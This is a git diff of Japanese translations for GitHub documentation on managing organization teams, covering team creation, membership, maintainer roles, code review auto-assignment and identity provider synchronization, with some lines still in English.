diff --git a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
index e5965cfefd..e82147baf8 100644
--- a/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
+++ b/translations/ja-JP/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating admin teams to improved organization permissions
-intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+title: 管理者 Team を改善された Organization の権限に移行する
+intro: 2015 年 9 月以降に作成された Organization の場合、Organization の権限モデルはデフォルトで改善されています。 2015 年 9 月より前に作成された Organization は、古いオーナーおよび管理者 Team から、改善された権限モデルに移行する必要があるかもしれません。 レガシーの管理者 Team は、改善された Organization 権限モデルに移行するまで、リポジトリの作成資格を自動的に維持します。
 redirect_from:
   - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions
   - /articles/migrating-admin-teams-to-improved-organization-permissions
@@ -12,37 +12,34 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Migrate admin team
+shortTitle: 管理Teamの移行
 ---
 
-By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories.
+デフォルトでは、Organization のすべてのメンバーがリポジトリを作成できます。 [リポジトリ作成権限](/articles/restricting-repository-creation-in-your-organization) を Organization のオーナーに制限しており、Organization がレガシーの Organization の権限構造で作成されていた場合、レガシーの管理者 Team のメンバーも引き続きリポジトリを作成できます。
 
-Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure.
+レガシーの管理者 Team とは、レガシーの Organization の権限構造で、管理者権限レベルを使用して作成された Team のことです。 この Team のメンバーは、Organization のリポジトリを作成できました。改善された Organization 権限構造でも、その機能は維持されています。
 
-You can remove this ability by migrating your legacy admin teams to the improved organization permissions.
+レガシーの 管理者 Team を改善された Organization の権限に移行すれば、この機能をなくすことができます。
 
 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
 {% warning %}
 
-**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories.
+**警告:** Organization ですべてのメンバーに対して[リポジトリ作成権限](/articles/restricting-repository-creation-in-your-organization)を無効にされている場合は、レガシーの管理者 Team のメンバーの一部がリポジトリ作成権限を失うことがあります。 Organization でメンバーよるリポジトリ作成を有効にしている場合は、レガシーの管理者 Team を改善された Organization の権限に移行しても、チームメンバーのリポジトリ作成機能は影響されません。
 
 {% endwarning %}
 
-## Migrating all of your organization's legacy admin teams
+## Organization のレガシーの管理者 Team をすべて移行する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.teams_sidebar %}
-1. Review your organization's legacy admin teams, then click **Migrate all teams**.
-  ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
-1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.**
-  ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
+1. Organization のレガシーの管理者 Team をレビューし、[**Migrate all teams**] をクリックします。 ![[Migrate all teams] ボタン](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
+1. 移行するチームのメンバーについて起きうる変化についての情報を読んだら、[**Migrate all teams**] をクリックします。 ![移行を確定するボタン](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
 
-## Migrating a single admin team
+## 1 つの管理者 Team を移行する
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-1. In the team description box, click **Migrate team**.
-  ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
+1. チーム説明のボックスで、[**Migrate team**] をクリックします。 ![[Migrate team] ボタン](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
index a6dac889cb..5372cd0426 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Adding organization members to a team
-intro: 'People with owner or team maintainer permissions can add organization members to teams. People with owner permissions can also {% ifversion fpt or ghec %}invite non-members to join{% else %}add non-members to{% endif %} a team and the organization.'
+title: Team への Organization メンバーの追加
+intro: 'オーナーあるいはチームメンテナ権限を持っている人は、Organization のメンバーを Team に加えることができます。 オーナー権限を持っている人は、{% ifversion fpt or ghec %}メンバーではない人を Team および Organization に参加するよう招待{% else %}メンバーではない人を Team および Organization に追加{% endif %}することもできます。'
 redirect_from:
   - /articles/adding-organization-members-to-a-team-early-access-program
   - /articles/adding-organization-members-to-a-team
@@ -13,7 +13,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add members to a team
+shortTitle: Teamへのメンバーの追加
 ---
 
 {% data reusables.organizations.team-synchronization %}
@@ -22,14 +22,13 @@ shortTitle: Add members to a team
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-6. Above the list of team members, click **Add a member**.
-![Add member button](/assets/images/help/teams/add-member-button.png)
+6. Team メンバーのリストの上部で、[**Add a member**] をクリックします。 ![[Add member] ボタン](/assets/images/help/teams/add-member-button.png)
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
 {% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About teams](/articles/about-teams)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
+- [Team について](/articles/about-teams)
+- [OrganizationのリポジトリへのTeamのアクセスの管理](/articles/managing-team-access-to-an-organization-repository)
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
index 457c1d5b7f..ea84402c6b 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
@@ -1,6 +1,6 @@
 ---
 title: Assigning the team maintainer role to a team member
-intro: 'You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.'
+intro: You can give a team member the ability to manage team membership and settings by assigning the team maintainer role.
 redirect_from:
   - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program
   - /articles/giving-team-maintainer-permissions-to-an-organization-member
@@ -22,21 +22,21 @@ permissions: Organization owners can promote team members to team maintainers.
 
 People with the team maintainer role can manage team membership and settings.
 
-- [Change the team's name and description](/articles/renaming-a-team)
-- [Change the team's visibility](/articles/changing-team-visibility)
-- [Request to add a child team](/articles/requesting-to-add-a-child-team)
-- [Request to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)
-- [Set the team profile picture](/articles/setting-your-team-s-profile-picture)
-- [Edit team discussions](/articles/managing-disruptive-comments/#editing-a-comment)
-- [Delete team discussions](/articles/managing-disruptive-comments/#deleting-a-comment)
-- [Add organization members to the team](/articles/adding-organization-members-to-a-team)
-- [Remove organization members from the team](/articles/removing-organization-members-from-a-team)
-- Remove the team's access to repositories{% ifversion fpt or ghes or ghae or ghec %}
-- [Manage code review assignment for the team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
-- [Manage scheduled reminders for pull requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
+- [Teamの名前と説明の変更](/articles/renaming-a-team)
+- [Teamの可視性の変更](/articles/changing-team-visibility)
+- [子チームの追加リクエスト](/articles/requesting-to-add-a-child-team)
+- [親チームの追加または変更リクエスト](/articles/requesting-to-add-or-change-a-parent-team)
+- [Teamのプロフィール画像の設定](/articles/setting-your-team-s-profile-picture)
+- [Teamディスカッションの編集](/articles/managing-disruptive-comments/#editing-a-comment)
+- [Teamディスカッションの削除](/articles/managing-disruptive-comments/#deleting-a-comment)
+- [OrganizationのメンバーのTeamへの追加](/articles/adding-organization-members-to-a-team)
+- [OrganizationメンバーのTeamからの削除](/articles/removing-organization-members-from-a-team)
+- リポジトリへのTeamのアクセスの削除{% ifversion fpt or ghes or ghae or ghec %}
+- [Teamのためのコードレビューの割り当て管理](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% endif %}{% ifversion fpt or ghec %}
+- [プルリクエストのスケジュールされたリマインダーの管理](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
 
 
-## Promoting an organization member to team maintainer
+## Organization メンバーをチームメンテナに昇格させる
 
 Before you can promote an organization member to team maintainer, the person must already be a member of the team.
 
@@ -44,9 +44,6 @@ Before you can promote an organization member to team maintainer, the person mus
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_members_tab %}
-4. Select the person or people you'd like to promote to team maintainer.
-![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Change role...**.
-![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
-6. Select a new role and click **Change role**.
-![Radio buttons for Maintainer or Member roles](/assets/images/help/teams/team-role-modal.png)
+4. チームメンテナに昇格させる人 (一人または複数人) を選択します。 ![Organization メンバーの横のチェックボックス](/assets/images/help/teams/team-member-check-box.png)
+5. Team のメンバー一覧の上にあるドロップダウンメニューを使用して、[**Change role...**] をクリックします。 ![ロールを変更するオプションのあるドロップダウンメニュー](/assets/images/help/teams/bulk-edit-drop-down.png)
+6. 新しいロールを選択して、[**Change role**] をクリックします。 ![メンテナーまたはメンバーのロールのラジオボタン](/assets/images/help/teams/team-role-modal.png)
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/creating-a-team.md
index 7422a82371..bf6e211f2d 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/creating-a-team.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/creating-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a team
-intro: You can create independent or nested teams to manage repository permissions and mentions for groups of people.
+title: Team の作成
+intro: 独立 Team や入れ子 Team を作成してリポジトリの権限およびグループへのメンションを管理できます。
 redirect_from:
   - /articles/creating-a-team-early-access-program
   - /articles/creating-a-team
@@ -15,7 +15,7 @@ topics:
   - Teams
 ---
 
-Only organization owners and maintainers of a parent team can create a new child team under a parent. Owners can also restrict creation permissions for all teams in an organization. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)."
+Organization のオーナーと親チームのメンテナだけが親の下に新しく子チームを作成できます。 オーナーは Organization 内の全チームについて作成許可を制限することもできます。 詳細は「[Organization のチーム作成権限を設定する](/articles/setting-team-creation-permissions-in-your-organization)」を参照してください。
 
 {% data reusables.organizations.team-synchronization %}
 
@@ -28,15 +28,14 @@ Only organization owners and maintainers of a parent team can create a new child
 {% ifversion ghec %}
 1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team.
     * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
-    * If your organization or enterprise account uses team synchronization, use the "Identity Provider Groups" drop-down menu, and select up to five identity provider groups to connect to the new team. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png)
+    * If your organization or enterprise account uses team synchronization, use the "Identity Provider Groups" drop-down menu, and select up to five identity provider groups to connect to the new team. 詳しい情報については「[アイデンティティプロバイダグループとTeamの同期](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)」を参照してください。 ![アイデンティティプロバイダグループを選択するドロップダウンメニュー](/assets/images/help/teams/choose-an-idp-group.png)
 {% endif %}
 {% data reusables.organizations.team_visibility %}
 {% data reusables.organizations.create_team %}
-1. Optionally, [give the team access to organization repositories](/articles/managing-team-access-to-an-organization-repository).
+1. 任意で、[Team のアクセスを Organization リポジトリに与えます](/articles/managing-team-access-to-an-organization-repository)。
 
-## Further reading
+## 参考リンク
 
-- "[About teams](/articles/about-teams)"
-- "[Changing team visibility](/articles/changing-team-visibility)"
-- "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)"
+- [Team について](/articles/about-teams)
+- 「[Team の可視性を変更する](/articles/changing-team-visibility)」
+- "[Organization の階層内での Team の移動](/articles/moving-a-team-in-your-organization-s-hierarchy)"
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/index.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/index.md
index ebe04edd68..4bcdcd4e5f 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/index.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/index.md
@@ -1,6 +1,6 @@
 ---
-title: Organizing members into teams
-intro: You can group organization members into teams that reflect your company or group's structure with cascading access permissions and mentions.
+title: メンバーを Team に編成する
+intro: Organizationメンバーは、カスケードになったアクセス権限とメンションを伴う会社やグループの構造を反映する Team に編成することができます。
 redirect_from:
   - /articles/setting-up-teams-improved-organization-permissions
   - /articles/setting-up-teams-for-accessing-organization-repositories
@@ -37,6 +37,6 @@ children:
   - /disabling-team-discussions-for-your-organization
   - /managing-scheduled-reminders-for-your-team
   - /deleting-a-team
-shortTitle: Organize members into teams
+shortTitle: メンバーをTeamに編成する
 ---
 
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
index 1430d9a82c..297a7b7158 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
@@ -27,12 +27,12 @@ To reduce noise for your team and clarify individual responsibility for pull req
 
 ## About team notifications
 
-When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. 詳細は「[コードオーナーについて](/github/creating-cloning-and-archiving-repositories/about-code-owners)」を参照してください。
 
 ## About auto assignment
 {% endif %}
 
-When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review.
+When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. コードレビューの割り当てでは、Team がレビューをリクエストされたとき、Team の全体に通知するか、Team メンバーのサブセットのみに通知するかを決めることができます。
 
 When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition.
 
@@ -40,13 +40,13 @@ When code owners are automatically requested for review, the team is still remov
 To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-### Routing algorithms
+### ルーティングアルゴリズム
 
-Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. 
+コードレビューの割り当てでは、2 つの可能なアルゴリズムのいずれかに基づいて、レビュー担当者が自動的に選択されて割り当てられます。
 
-The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. 
+ラウンドロビンアルゴリズムは、現在未処理のレビューの数とは関係なく、Team のすべてのメンバー間で交互に、最も新しいレビューリクエストを誰が受け取ったかに基づいてレビュー担当者を選択します。
 
-The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period.
+ロードバランスアルゴリズムは、各メンバーの最近のレビューリクエスト合計数に基づいてレビュー担当者を選択し、メンバーごとの未処理レビューの数を考慮します。 ロードバランスアルゴリズムは、各 Teamメンバーが 30 日間に等しい数のプルリクエストをレビューすることを保証しようとします。
 
 Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)."
 
@@ -57,11 +57,9 @@ Any team members that have set their status to "Busy" will not be selected for r
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-2. Select **Only notify requested team members.**
-![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
-3. Click **Save changes**.
+5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png)
+2. Select **Only notify requested team members.** ![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
+3. [**Save changes**] をクリックします。
 {% endif %}
 
 ## Configuring auto assignment
@@ -69,30 +67,24 @@ Any team members that have set their status to "Busy" will not be selected for r
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-6. Select **Enable auto assignment**.
-![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
-7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request.
-![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png)
-8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)."
-![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png)
-9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip.
-![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png)
+5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png)
+6. [**Enable auto assignment**] を選択します。 ![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
+7. [How many team members should be assigned to review?] でドロップダウンメニューを使用し、各プルリクエストに割り当てるレビュー担当者の数を選択します。 ![[Number of reviewers] ドロップダウン](/assets/images/help/teams/review-assignment-number.png)
+8. [Routing algorithm] のドロップダウンメニューで、使用するアルゴリズムを選択します。 詳細は、「[ルーティングアルゴリズム](#routing-algorithms)」を参照してください。 ![[Routing algorithm] ドロップダウン](/assets/images/help/teams/review-assignment-algorithm.png)
+9. オプションで、Team の特定メンバーを常にスキップする場合は、[**Never assign certain team members**] を選択します。 次に、スキップする 1 つ以上の Team メンバーを選択します。 ![[Never assign certain team members] チェックボックスとラジオボタン](/assets/images/help/teams/review-assignment-skip-members.png)
 {% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %}
 11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**.
 12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**.
 13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**.
 {%- else %}
-10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.**
+10. オプションで、プルレビューリクエストごとのコードレビュー割り当てによって選択された Teamメンバーのみに通知する場合は、[Notifications] で[**If assigning team members, don't notify the entire team.**] を選択します。
 {%- endif %}
-14. Click **Save changes**.
+14. [**Save changes**] をクリックします。
 
 ## Disabling auto assignment
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. Select **Enable auto assignment** to remove the checkmark.
-![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png)
-6. Click **Save changes**.
+5. [**Enable auto assignment**] を選択してチェックマークを外します。 ![[Code review assignment] ボタン](/assets/images/help/teams/review-assignment-enable.png)
+6. [**Save changes**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
index 6386e39cc6..7a1cad93fe 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
@@ -1,6 +1,6 @@
 ---
-title: Moving a team in your organization’s hierarchy
-intro: 'Team maintainers and organization owners can nest a team under a parent team, or change or remove a nested team''s parent.'
+title: Organization 階層内で Team を移動する
+intro: チームメンテナと Organization のオーナーは、親チームの下に Team を入れ子にしたり、ネストした入れ子チームの親を変更または削除したりすることができます。
 redirect_from:
   - /articles/changing-a-team-s-parent
   - /articles/moving-a-team-in-your-organization-s-hierarchy
@@ -14,34 +14,31 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Move a team
+shortTitle: Teamの移動
 ---
 
-Organization owners can change the parent of any team. Team maintainers can change a team's parent if they are maintainers in both the child team and the parent team. Team maintainers without maintainer permissions in the child team can request to add a parent or child team. For more information, see "[Requesting to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)" and "[Requesting to add a child team](/articles/requesting-to-add-a-child-team)."
+Organization のオーナーは、Team の親を変更できます。 チームメンテナは、子チームと親チーム両方のメンテナであれば、Team の親を変更できます。 子チームでのメンテナ権限を持たないチームメンテナは、親または子チームの追加をリクエストできます。 詳細は「[親チームの追加または変更をリクエストする](/articles/requesting-to-add-or-change-a-parent-team)」および「[子チームの追加をリクエストする](/articles/requesting-to-add-a-child-team)」を参照してください。
 
 {% data reusables.organizations.child-team-inherits-permissions %}
 
 {% tip %}
 
-**Tips:**
-- You cannot change a team's parent to a secret team. For more information, see "[About teams](/articles/about-teams)."
-- You cannot nest a parent team beneath one of its child teams.
+**参考:**
+- Team の親をシークレットチームに変更することはできません。 詳しい情報については[Team について](/articles/about-teams)を参照してください。
+- 親チームをその子チームの下位に入れ子にすることはできません。
 
 {% endtip %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.teams %}
-4. In the list of teams, click the name of the team whose parent you'd like to change.
-  ![List of the organization's teams](/assets/images/help/teams/click-team-name.png)
+4. Team のリストで、親を変更する Team の名前をクリックします。 ![Organization の Team のリスト](/assets/images/help/teams/click-team-name.png)
 {% data reusables.organizations.team_settings %}
-6. Use the drop-down menu to choose a parent team, or to remove an existing parent, select **Clear selected value**.
-  ![Drop-down menu listing the organization's teams](/assets/images/help/teams/choose-parent-team.png)
-7. Click **Update**.
+6. ドロップダウンメニューを使って親チームを選択するか、既存の親を削除して [**Clear selected value**] を選択します。 ![Organization の Team がリストされるドロップダウンメニュー](/assets/images/help/teams/choose-parent-team.png)
+7. [**Update**] をクリックします。
 {% data reusables.repositories.changed-repository-access-permissions %}
-9. Click **Confirm new parent team**.
-  ![Modal box with information about the changes in repository access permissions](/assets/images/help/teams/confirm-new-parent-team.png)
+9. [**Confirm new parent team**] をクリックします。 ![リポジトリアクセス権の変更に関する情報のモーダルボックス](/assets/images/help/teams/confirm-new-parent-team.png)
 
-## Further reading
+## 参考リンク
 
-- "[About teams](/articles/about-teams)"
+- [Team について](/articles/about-teams)
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
index aba9635cbe..fe12297e07 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Removing organization members from a team
-intro: 'People with *owner* or *team maintainer* permissions can remove team members from a team. This may be necessary if a person no longer needs access to a repository the team grants, or if a person is no longer focused on a team''s projects.'
+title: Team から Organization メンバーを削除する
+intro: '*owner* 権限または *team maintainer* 権限が付与されている個人は、Team メンバーを Team から削除することができます。 これは、個人が Team から付与されるリポジトリへのアクセスを必要としなくなった場合や、個人が Team のプロジェクトでフォーカスされなくなった場合に必要となる可能性があります。'
 redirect_from:
   - /articles/removing-organization-members-from-a-team-early-access-program
   - /articles/removing-organization-members-from-a-team
@@ -13,15 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove members
+shortTitle: メンバーの削除
 ---
 
-{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}  
+{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-4. Select the person or people you'd like to remove.
-  ![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Remove from team**.
-  ![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
+4. 削除する個人を選択します。 ![Organization メンバーの横のチェックボックス](/assets/images/help/teams/team-member-check-box.png)
+5. Team メンバーのリストの上のドロップダウンメニューで、[**Remove from team**] をクリックします。 ![ロールを変更するオプションのあるドロップダウンメニュー](/assets/images/help/teams/bulk-edit-drop-down.png)
diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
index 1e2fc70a8f..39c1fabfea 100644
--- a/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
+++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
@@ -1,6 +1,6 @@
 ---
-title: Synchronizing a team with an identity provider group
-intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.'
+title: Team をアイデンティティプロバイダグループと同期する
+intro: '{% data variables.product.product_name %} Team をアイデンティティプロバイダ (IdP) グループと同期して、Team メンバーを自動的に追加あるいは削除することができます。'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group
 permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.'
@@ -10,95 +10,90 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Synchronize with an IdP
+shortTitle: IdPとの同期
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## Team の同期について
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
-{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams.
+{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. グループ内のすべてのユーザは自動的にチームに追加され、メンバーとして親 Organization にも追加されます。 グループを Team から切断すると、Team のメンバーシップを介して Organization のメンバーになったユーザは Organization から削除されます。{% endif %} IdP グループを複数の {% data variables.product.product_name %} Team に割り当てることができます。
 
 {% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %}
 
-Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
+いったん {% data variables.product.prodname_dotcom %} Team が IdP グループに接続されたら、IdP 管理者はアイデンティティプロバイダを通して Team メンバーシップを変更する必要があります。 You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
 
 {% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %}
 
 {% ifversion ghec %}
